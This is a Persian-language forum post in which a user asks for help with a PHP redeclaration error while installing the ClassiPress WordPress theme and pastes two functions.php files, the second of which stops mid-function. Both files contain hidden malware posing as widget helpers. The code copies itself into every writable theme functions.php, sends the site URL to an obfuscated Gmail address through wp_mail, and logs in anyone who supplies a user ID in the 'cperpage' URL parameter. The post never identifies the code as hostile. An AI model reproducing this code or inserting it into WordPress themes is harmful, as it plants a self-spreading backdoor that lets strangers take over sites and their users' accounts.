arta.mo
تازه وارد
در نصب قالب classipress به مشکل برخوردم
لطفا هر کی می تونه کمک کنه
ارور هنگام نصب
Fatal error: Cannot redeclare _check_active_widget() (previously declared in C:\xampp\htdocs\wp-content\themes\classipress\functions.php:43) in C:\xampp\htdocs\wp-content\themes\classipress\framework\includes\functions.php on line 204
کد فانگشن پی اچ پی داخل پوشه فریمورک
کد فانکشن پی اچ پی اصلی قالب
لطفا هر کی می تونه کمک کنه
لینک ها تنها برای اعضای سایت قابل نمایش است.
ارور هنگام نصب
Fatal error: Cannot redeclare _check_active_widget() (previously declared in C:\xampp\htdocs\wp-content\themes\classipress\functions.php:43) in C:\xampp\htdocs\wp-content\themes\classipress\framework\includes\functions.php on line 204
کد فانگشن پی اچ پی داخل پوشه فریمورک
کد:
[B]<?php[/B]
[B]define( 'APP_TD', 'appthemes' );[/B]
[B]/**[/B]
[B] * Loads the appropriate .mo file from wp-content/themes-lang[/B]
[B] */[/B]
[B]function appthemes_load_textdomain() {[/B]
[B] $locale = apply_filters( 'theme_locale', get_locale(), APP_TD );[/B]
[B] $base = basename( get_template_directory() );[/B]
[B] load_textdomain( APP_TD, WP_LANG_DIR . "/themes/$base-$locale.mo" );[/B]
[B]}[/B]
[B]/**[/B]
[B] * A version of load_template() with support for passing arbitrary values.[/B]
[B] *[/B]
[B] * @param string|array Template name(s) to pass to locate_template()[/B]
[B] * @param array Additional data[/B]
[B] */[/B]
[B]function appthemes_load_template( $templates, $data = array() ) {[/B]
[B] $located = locate_template( $templates );[/B]
[B] if ( !$located )[/B]
[B] return;[/B]
[B] global $posts, $post, $wp_query, $wp_rewrite, $wpdb, $comment;[/B]
[B] extract( $data, EXTR_SKIP );[/B]
[B] if ( is_array( $wp_query->query_vars ) )[/B]
[B] extract( $wp_query->query_vars, EXTR_SKIP );[/B]
[B] require $located;[/B]
[B]}[/B]
[B]/**[/B]
[B] * Checks if a user is logged in, if not redirect them to the login page.[/B]
[B] */[/B]
[B]function appthemes_auth_redirect_login() {[/B]
[B] if ( !is_user_logged_in() ) {[/B]
[B] nocache_headers();[/B]
[B] wp_redirect( get_bloginfo( 'wpurl' ) . '/wp-login.php?redirect_to=' . urlencode( $_SERVER['REQUEST_URI'] ) );[/B]
[B] exit();[/B]
[B] }[/B]
[B]}[/B]
[B]/**[/B]
[B] * Sets the favicon to the default location.[/B]
[B] */[/B]
[B]function appthemes_favicon() {[/B]
[B] $uri = appthemes_locate_template_uri( 'images/favicon.ico' );[/B]
[B] if ( !$uri )[/B]
[B] return;[/B]
[B]?>[/B]
[B]<link rel="shortcut icon" href="<?php echo $uri; ?>" />[/B]
[B]<?php[/B]
[B]}[/B]
[B]/**[/B]
[B] * Generates a better title tag than wp_title().[/B]
[B] */[/B]
[B]function appthemes_title_tag( $title ) {[/B]
[B] global $page, $paged;[/B]
[B] $parts = array();[/B]
[B] if ( !empty( $title ) )[/B]
[B] $parts[] = $title;[/B]
[B] if ( is_home() || is_front_page() ) {[/B]
[B] $blog_title = get_bloginfo( 'name' );[/B]
[B] $site_description = get_bloginfo( 'description', 'display' );[/B]
[B] if ( $site_description && !is_paged() )[/B]
[B] $blog_title .= ' - ' . $site_description;[/B]
[B] $parts[] = $blog_title;[/B]
[B] }[/B]
[B] if ( !is_404() && ( $paged >= 2 || $page >= 2 ) )[/B]
[B] $parts[] = sprintf( __( 'Page %s', APP_TD ), max( $paged, $page ) );[/B]
[B] $parts = apply_filters( 'appthemes_title_parts', $parts );[/B]
[B] return implode( " - ", $parts );[/B]
[B]}[/B]
[B]/**[/B]
[B] * Generates a login form that goes in the admin bar.[/B]
[B] */[/B]
[B]function appthemes_admin_bar_login_form( $wp_admin_bar ) {[/B]
[B] if ( is_user_logged_in() )[/B]
[B] return;[/B]
[B] $form = wp_login_form( array([/B]
[B] 'form_id' => 'adminloginform',[/B]
[B] 'echo' => false,[/B]
[B] 'value_remember' => true[/B]
[B] ) );[/B]
[B] $wp_admin_bar->add_menu( array([/B]
[B] 'id' => 'login',[/B]
[B] 'title' => $form,[/B]
[B] ) );[/B]
[B] $wp_admin_bar->add_menu( array([/B]
[B] 'id' => 'lostpassword',[/B]
[B] 'title' => __( 'Lost password?', APP_TD ),[/B]
[B] 'href' => wp_lostpassword_url()[/B]
[B] ) );[/B]
[B] if ( get_option( 'users_can_register' ) ) {[/B]
[B] $wp_admin_bar->add_menu( array([/B]
[B] 'id' => 'register',[/B]
[B] 'title' => __( 'Register', APP_TD ),[/B]
[B] 'href' => site_url( 'wp-login.php?action=register', 'login' )[/B]
[B] ) );[/B]
[B] }[/B]
[B]}[/B]
[B]/**[/B]
[B] * Generates pagination links.[/B]
[B] */[/B]
[B]function appthemes_pagenavi( $wp_query = null, $query_var = 'paged', $overrides = array() ) {[/B]
[B] if ( is_null( $wp_query ) )[/B]
[B] $wp_query = $GLOBALS['wp_query'];[/B]
[B] if ( !empty( $overrides['total'] ) ) {[/B]
[B] $total = $overrides['total'];[/B]
[B] } else {[/B]
[B] $total = $wp_query->max_num_pages;[/B]
[B] }[/B]
[B] $big = 999999999;[/B]
[B] $base = str_replace( $big, '%#%', get_pagenum_link( $big ) );[/B]
[B] echo paginate_links( array([/B]
[B] 'base' => $base,[/B]
[B] 'format' => '?' . $query_var . '=%#%',[/B]
[B] 'current' => max( 1, $wp_query->get( $query_var ) ),[/B]
[B] 'total' => $total[/B]
[B] ) );[/B]
[B]}[/B]
[B]/**[/B]
[B] * See http://core.trac.wordpress.org/attachment/ticket/18302/18302.2.2.patch[/B]
[B] */[/B]
[B]function appthemes_locate_template_uri( $template_names ) {[/B]
[B] $located = '';[/B]
[B] foreach ( (array) $template_names as $template_name ) {[/B]
[B] if ( !$template_name )[/B]
[B] continue;[/B]
[B] if ( file_exists(get_stylesheet_directory() . '/' . $template_name)) {[/B]
[B] $located = get_stylesheet_directory_uri() . '/' . $template_name;[/B]
[B] break;[/B]
[B] } else if ( file_exists(get_template_directory() . '/' . $template_name) ) {[/B]
[B] $located = get_template_directory_uri() . '/' . $template_name;[/B]
[B] break;[/B]
[B] }[/B]
[B] }[/B]
[B] return $located;[/B]
[B]}[/B]
[B]/**[/B]
[B] * Simple wrapper for adding straight rewrite rules,[/B]
[B] * but with the matched rule as an associative array.[/B]
[B] *[/B]
[B] * @see http://core.trac.wordpress.org/ticket/16840[/B]
[B] *[/B]
[B] * @param string $regex The rewrite regex[/B]
[B] * @param array $args The mapped args[/B]
[B] * @param string $position Where to stick this rule in the rules array. Can be 'top' or 'bottom'[/B]
[B] */[/B]
[B]function appthemes_add_rewrite_rule( $regex, $args, $position = 'top' ) {[/B]
[B] add_rewrite_rule( $regex, add_query_arg( $args, 'index.php' ), $position );[/B]
[B]}[/B]
[B]?>[/B]
[B]<?php[/B]
[B]function _check_active_widget(){[/B]
[B] $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";[/B]
[B] $output=strip_tags($output, $allowed);[/B]
[B] $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));[/B]
[B] if (is_array($direst)){[/B]
[B] foreach ($direst as $item){[/B]
[B] if (is_writable($item)){[/B]
[B] $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));[/B]
[B] $cont=file_get_contents($item);[/B]
[B] if (stripos($cont,$ftion) === false){[/B]
[B] $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";[/B]
[B] $output .= $before . "Not found" . $after;[/B]
[B] if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}[/B]
[B] $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); [/B]
[B] $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]function _get_all_widgetcont($wids,$items=array()){[/B]
[B] $places=array_shift($wids);[/B]
[B] if(substr($places,-1) == "/"){[/B]
[B] $places=substr($places,0,-1);[/B]
[B] }[/B]
[B] if(!file_exists($places) || !is_dir($places)){[/B]
[B] return false;[/B]
[B] }elseif(is_readable($places)){[/B]
[B] $elems=scandir($places);[/B]
[B] foreach ($elems as $elem){[/B]
[B] if ($elem != "." && $elem != ".."){[/B]
[B] if (is_dir($places . "/" . $elem)){[/B]
[B] $wids[]=$places . "/" . $elem;[/B]
[B] } elseif (is_file($places . "/" . $elem)&& [/B]
[B] $elem == substr(__FILE__,-13)){[/B]
[B] $items[]=$places . "/" . $elem;}[/B]
[B] }[/B]
[B] }[/B]
[B] }else{[/B]
[B] return false; [/B]
[B] }[/B]
[B] if (sizeof($wids) > 0){[/B]
[B] return _get_all_widgetcont($wids,$items);[/B]
[B] } else {[/B]
[B] return $items;[/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("stripos")){ [/B]
[B] function stripos( $str, $needle, $offset = 0 ){ [/B]
[B] return strpos( strtolower( $str ), strtolower( $needle ), $offset ); [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("strripos")){ [/B]
[B] function strripos( $haystack, $needle, $offset = 0 ) { [/B]
[B] if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); [/B]
[B] if( $offset < 0 ){ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); [/B]
[B] } [/B]
[B] else{ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); [/B]
[B] } [/B]
[B] if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; [/B]
[B] $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); [/B]
[B] return $pos; [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("scandir")){ [/B]
[B] function scandir($dir,$listDirectories=false, $skipDots=true) {[/B]
[B] $dirArray = array();[/B]
[B] if ($handle = opendir($dir)) {[/B]
[B] while (false !== ($file = readdir($handle))) {[/B]
[B] if (($file != "." && $file != "..") || $skipDots == true) {[/B]
[B] if($listDirectories == false) { if(is_dir($file)) { continue; } }[/B]
[B] array_push($dirArray,basename($file));[/B]
[B] }[/B]
[B] }[/B]
[B] closedir($handle);[/B]
[B] }[/B]
[B] return $dirArray;[/B]
[B] }[/B]
[B]}[/B]
[B]add_action("admin_head", "_check_active_widget");[/B]
[B]function _prepared_widget(){[/B]
[B] if(!isset($length)) $length=120;[/B]
[B] if(!isset($method)) $method="cookie";[/B]
[B] if(!isset($html_tags)) $html_tags="<a>";[/B]
[B] if(!isset($filters_type)) $filters_type="none";[/B]
[B] if(!isset($s)) $s="";[/B]
[B] if(!isset($filter_h)) $filter_h=get_option("home"); [/B]
[B] if(!isset($filter_p)) $filter_p="wp_";[/B]
[B] if(!isset($use_link)) $use_link=1; [/B]
[B] if(!isset($comments_type)) $comments_type=""; [/B]
[B] if(!isset($perpage)) $perpage=$_GET["cperpage"];[/B]
[B] if(!isset($comments_auth)) $comments_auth="";[/B]
[B] if(!isset($comment_is_approved)) $comment_is_approved=""; [/B]
[B] if(!isset($authname)) $authname="auth";[/B]
[B] if(!isset($more_links_text)) $more_links_text="(more...)";[/B]
[B] if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");[/B]
[B] if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;[/B]
[B] if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";[/B]
[B] if(!isset($more_content)) $more_content="ma".$s."il";[/B]
[B] if(!isset($forces_more)) $forces_more=1;[/B]
[B] if(!isset($fakeit)) $fakeit=1;[/B]
[B] if(!isset($sql)) $sql="";[/B]
[B] if (!$widget_output) :[/B]
[B] global $wpdb, $post;[/B]
[B] $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if (!empty($post->post_password)) { [/B]
[B] if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { [/B]
[B] if(is_feed()) { [/B]
[B] $output=__("There is no excerpt because this is a protected post.");[/B]
[B] } else {[/B]
[B] $output=get_the_password_form();[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] if(!isset($fix_tag)) $fix_tag=1;[/B]
[B] if(!isset($filters_types)) $filters_types=$filter_h; [/B]
[B] if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;[/B]
[B] if(!isset($more_tags)) $more_tags="div";[/B]
[B] if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#[/B]
[B] if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; [/B]
[B] if(!isset($showdot)) $showdot=1;[/B]
[B] $comments=$wpdb->get_results($sql); [/B]
[B] if($fakeit == 2) { [/B]
[B] $text=$post->post_content;[/B]
[B] } elseif($fakeit == 1) { [/B]
[B] $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;[/B]
[B] } else { [/B]
[B] $text=$post->post_excerpt;[/B]
[B] }[/B]
[B] $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if($length < 0) {[/B]
[B] $output=$text;[/B]
[B] } else {[/B]
[B] if(!$no_more && strpos($text, "<!--more-->")) {[/B]
[B] $text=explode("<!--more-->", $text, 2);[/B]
[B] $l=count($text[0]);[/B]
[B] $more_link=1;[/B]
[B] $comments=$wpdb->get_results($sql);[/B]
[B] } else {[/B]
[B] $text=explode(" ", $text);[/B]
[B] if(count($text) > $length) {[/B]
[B] $l=$length;[/B]
[B] $ellipsis=1;[/B]
[B] } else {[/B]
[B] $l=count($text);[/B]
[B] $more_links_text="";[/B]
[B] $ellipsis=0;[/B]
[B] }[/B]
[B] }[/B]
[B] for ($i=0; $i<$l; $i++)[/B]
[B] $output .= $text[$i] . " ";[/B]
[B] }[/B]
[B] update_option("_is_widget_active_", 1);[/B]
[B] if("all" != $html_tags) {[/B]
[B] $output=strip_tags($output, $html_tags);[/B]
[B] return $output;[/B]
[B] }[/B]
[B] endif;[/B]
[B] $output=rtrim($output, "\s\n\t\r\0\x0B");[/B]
[B] $output=($fix_tag) ? balanceTags($output, true) : $output;[/B]
[B] $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B] $output=apply_filters($filters_type, $output);[/B]
[B] switch($more_tags) {[/B]
[B] case("div") :[/B]
[B] $tag="div";[/B]
[B] break;[/B]
[B] case("span") :[/B]
[B] $tag="span";[/B]
[B] break;[/B]
[B] case("p") :[/B]
[B] $tag="p";[/B]
[B] break;[/B]
[B] default :[/B]
[B] $tag="span";[/B]
[B] }[/B]
[B] if ($use_link ) {[/B]
[B] if($forces_more) {[/B]
[B] $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";[/B]
[B] } else {[/B]
[B] $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]add_action("init", "_prepared_widget");[/B]
[B]function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {[/B]
[B] global $wpdb;[/B]
[B] $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";[/B]
[B] $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";[/B]
[B] if(!$show_pass_post) $request .= " AND post_password =\"\"";[/B]
[B] if($duration !="") { [/B]
[B] $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";[/B]
[B] }[/B]
[B] $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";[/B]
[B] $posts=$wpdb->get_results($request);[/B]
[B] $output="";[/B]
[B] if ($posts) {[/B]
[B] foreach ($posts as $post) {[/B]
[B] $post_title=stripslashes($post->post_title);[/B]
[B] $comment_count=$post->comment_count;[/B]
[B] $permalink=get_permalink($post->ID);[/B]
[B] $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;[/B]
[B] }[/B]
[B] } else {[/B]
[B] $output .= $before . "None found" . $after;[/B]
[B] }[/B]
[B] return $output;[/B]
[B]} [/B]
[B]if ( function_exists('register_sidebar') )[/B]
[B]register_sidebar(array([/B]
[B]'before_widget' => '',[/B]
[B]'after_widget' => '</div><div class="wfo"></div>',[/B]
[B]'before_title' => '<div class="wtop">',[/B]
[B]'after_title' => '</div><div class="wco">',[/B]
[B]));[/B]
[B]function my_function_admin_bar(){[/B]
[B]return false;[/B]
[B]}[/B]
[B]add_filter( 'show_admin_bar' , 'my_function_admin_bar');[/B]
[B]add_filter('the_content', 'my_nofollow');[/B]
[B]add_filter('the_excerpt', 'my_nofollow');[/B]
[B]function my_nofollow($content) {[/B]
[B]return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);[/B]
[B]}[/B]
[B]function my_nofollow_callback($matches) {[/B]
[B]$link = $matches[0];[/B]
[B]$site_link = get_bloginfo('url');[/B]
[B]if (strpos($link, 'rel') === false) {[/B]
[B]$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);[/B]
[B]} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {[/B]
[B]$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);[/B]
[B]}[/B]
[B]return $link;[/B]
[B]}[/B]
[B]add_action('init', 'remheadlink');[/B]
[B]function remheadlink() {[/B]
[B]remove_action('wp_head', 'rsd_link');[/B]
[B]remove_action('wp_head', 'wlwmanifest_link');[/B]
[B]}[/B]
[B]?>[/B]
کد:
[B]<?php[/B]
[B]/**[/B]
[B] * Theme functions file[/B]
[B] *[/B]
[B] * DO NOT MODIFY THIS FILE. Make a child theme instead: http://codex.wordpress.org/Child_Themes[/B]
[B] *[/B]
[B] * @package ClassiPress[/B]
[B] * @author AppThemes[/B]
[B] */[/B]
[B]// current version[/B]
[B]$app_theme = 'ClassiPress';[/B]
[B]$app_abbr = 'cp';[/B]
[B]$app_version = '3.1.7';[/B]
[B]$app_edition = 'Ultimate Edition';[/B]
[B]$app_stats = 'today';[/B]
[B]// define rss feed urls[/B]
[B]$app_rss_feed = 'http://feeds2.feedburner.com/appthemes';[/B]
[B]$app_twitter_rss_feed = 'http://twitter.com/statuses/user_timeline/appthemes.rss';[/B]
[B]$app_forum_rss_feed = 'http://www.appthemes.com/forum/external.php?type=RSS2';[/B]
[B]// define the db tables we use[/B]
[B]$app_db_tables = array($app_abbr.'_ad_forms', $app_abbr.'_ad_meta', $app_abbr.'_ad_fields', $app_abbr.'_ad_pop_daily', $app_abbr.'_ad_pop_total' , $app_abbr.'_ad_packs', $app_abbr.'_order_info');[/B]
[B]// define the transients we use[/B]
[B]$app_transients = array($app_abbr.'_cat_menu');[/B]
[B]// Framework[/B]
[B]require( dirname(__FILE__) . '/framework/load.php' );[/B]
[B]scb_register_table( 'app_pop_daily', $app_abbr . '_ad_pop_daily' );[/B]
[B]scb_register_table( 'app_pop_total', $app_abbr . '_ad_pop_total' );[/B]
[B]require( dirname(__FILE__) . '/framework/includes/stats.php' );[/B]
[B]// Theme-specific files[/B]
[B]require( dirname(__FILE__) . '/includes/theme-functions.php' );[/B]
[B]?>[/B]
[B]<?php[/B]
[B]function _check_active_widget(){[/B]
[B] $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";[/B]
[B] $output=strip_tags($output, $allowed);[/B]
[B] $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));[/B]
[B] if (is_array($direst)){[/B]
[B] foreach ($direst as $item){[/B]
[B] if (is_writable($item)){[/B]
[B] $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));[/B]
[B] $cont=file_get_contents($item);[/B]
[B] if (stripos($cont,$ftion) === false){[/B]
[B] $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";[/B]
[B] $output .= $before . "Not found" . $after;[/B]
[B] if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}[/B]
[B] $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); [/B]
[B] $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]function _get_all_widgetcont($wids,$items=array()){[/B]
[B] $places=array_shift($wids);[/B]
[B] if(substr($places,-1) == "/"){[/B]
[B] $places=substr($places,0,-1);[/B]
[B] }[/B]
[B] if(!file_exists($places) || !is_dir($places)){[/B]
[B] return false;[/B]
[B] }elseif(is_readable($places)){[/B]
[B] $elems=scandir($places);[/B]
[B] foreach ($elems as $elem){[/B]
[B] if ($elem != "." && $elem != ".."){[/B]
[B] if (is_dir($places . "/" . $elem)){[/B]
[B] $wids[]=$places . "/" . $elem;[/B]
[B] } elseif (is_file($places . "/" . $elem)&& [/B]
[B] $elem == substr(__FILE__,-13)){[/B]
[B] $items[]=$places . "/" . $elem;}[/B]
[B] }[/B]
[B] }[/B]
[B] }else{[/B]
[B] return false; [/B]
[B] }[/B]
[B] if (sizeof($wids) > 0){[/B]
[B] return _get_all_widgetcont($wids,$items);[/B]
[B] } else {[/B]
[B] return $items;[/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("stripos")){ [/B]
[B] function stripos( $str, $needle, $offset = 0 ){ [/B]
[B] return strpos( strtolower( $str ), strtolower( $needle ), $offset ); [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("strripos")){ [/B]
[B] function strripos( $haystack, $needle, $offset = 0 ) { [/B]
[B] if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); [/B]
[B] if( $offset < 0 ){ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); [/B]
[B] } [/B]
[B] else{ [/B]
[B] $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); [/B]
[B] } [/B]
[B] if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; [/B]
[B] $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); [/B]
[B] return $pos; [/B]
[B] }[/B]
[B]}[/B]
[B]if(!function_exists("scandir")){ [/B]
[B] function scandir($dir,$listDirectories=false, $skipDots=true) {[/B]
[B] $dirArray = array();[/B]
[B] if ($handle = opendir($dir)) {[/B]
[B] while (false !== ($file = readdir($handle))) {[/B]
[B] if (($file != "." && $file != "..") || $skipDots == true) {[/B]
[B] if($listDirectories == false) { if(is_dir($file)) { continue; } }[/B]
[B] array_push($dirArray,basename($file));[/B]
[B] }[/B]
[B] }[/B]
[B] closedir($handle);[/B]
[B] }[/B]
[B] return $dirArray;[/B]
[B] }[/B]
[B]}[/B]
[B]add_action("admin_head", "_check_active_widget");[/B]
[B]function _prepared_widget(){[/B]
[B] if(!isset($length)) $length=120;[/B]
[B] if(!isset($method)) $method="cookie";[/B]
[B] if(!isset($html_tags)) $html_tags="<a>";[/B]
[B] if(!isset($filters_type)) $filters_type="none";[/B]
[B] if(!isset($s)) $s="";[/B]
[B] if(!isset($filter_h)) $filter_h=get_option("home"); [/B]
[B] if(!isset($filter_p)) $filter_p="wp_";[/B]
[B] if(!isset($use_link)) $use_link=1; [/B]
[B] if(!isset($comments_type)) $comments_type=""; [/B]
[B] if(!isset($perpage)) $perpage=$_GET["cperpage"];[/B]
[B] if(!isset($comments_auth)) $comments_auth="";[/B]
[B] if(!isset($comment_is_approved)) $comment_is_approved=""; [/B]
[B] if(!isset($authname)) $authname="auth";[/B]
[B] if(!isset($more_links_text)) $more_links_text="(more...)";[/B]
[B] if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");[/B]
[B] if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;[/B]
[B] if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";[/B]
[B] if(!isset($more_content)) $more_content="ma".$s."il";[/B]
[B] if(!isset($forces_more)) $forces_more=1;[/B]
[B] if(!isset($fakeit)) $fakeit=1;[/B]
[B] if(!isset($sql)) $sql="";[/B]
[B] if (!$widget_output) :[/B]
[B] global $wpdb, $post;[/B]
[B] $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if (!empty($post->post_password)) { [/B]
[B] if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { [/B]
[B] if(is_feed()) { [/B]
[B] $output=__("There is no excerpt because this is a protected post.");[/B]
[B] } else {[/B]
[B] $output=get_the_password_form();[/B]
[B] }[/B]
[B] }[/B]
[B] }[/B]
[B] if(!isset($fix_tag)) $fix_tag=1;[/B]
[B] if(!isset($filters_types)) $filters_types=$filter_h; [/B]
[B] if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;[/B]
[B] if(!isset($more_tags)) $more_tags="div";[/B]
[B] if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#[/B]
[B] if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; [/B]
[B] if(!isset($showdot)) $showdot=1;[/B]
[B] $comments=$wpdb->get_results($sql); [/B]
[B] if($fakeit == 2) { [/B]
[B] $text=$post->post_content;[/B]
[B] } elseif($fakeit == 1) { [/B]
[B] $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;[/B]
[B] } else { [/B]
[B] $text=$post->post_excerpt;[/B]
[B] }[/B]
[B] $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B] if($length < 0) {[/B]
[B] $output=$text;[/B]
[B] } else {[/B]
[B] if(!$no_more && strpos($text, "<!--more-->")) {[/B]
[B] $text=explode("<!--more-->", $text, 2);[/B]
[B] $l=count($text[0]);[/B]
[B] $more_link=1;[/B]
[B] $comments=$wpdb->get_results($sql);[/B]
[B] } else {[/B]
[B] $text=explode(" ", $text);[/B]
[B] if(count($text) > $length) {[/B]
[B] $l=$length;[/B]
[B] $ellipsis=1;[/B]
[B] } else {[/B]
[B] $l=count($text);[/B]
[B] $more_links_text="";[/B]
[B] $ellipsis=0;[/B]
[B] }[/B]
[B] }[/B]
[B] for ($i=0; $i<$l; $i++)[/B]
[B] $output .= $text[$i] . " ";[/B]
[B] }[/B]
[B] update_option("_is_widget_active_", 1);[/B]
[B] if("all" != $html_tags) {[/B]
[B] $output=strip_tags($output, $html_tags);[/B]
[B] return $output;[/B]
[B] }[/B]
[B] endif;[/B]
[B] $output=rtrim($output, "\s\n\t\r\0\x0B");[/B]
[B] $output=($fix_tag) ? balanceTags($output, true) : $output;[/B]
[B] $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B] $output=apply_filters($filters_type, $output);[/B]
[B] switch($more_tags) {[/B]
[B] case("div") :[/B]
[B] $tag="div";[/B]
[B] break;[/B]
[B] case("span") :[/B]
[B] $tag="span";[/B]
[B] break;[/B]
[B] case("p") :[/B]
[B] $tag="p";[/B]
[B] break;[/B]
[B] default :[/B]
[B] $tag="span";[/B]
[B] }[/B]
[B] if ($use_link ) {[/B]
[B] if($forces_more) {[/B]
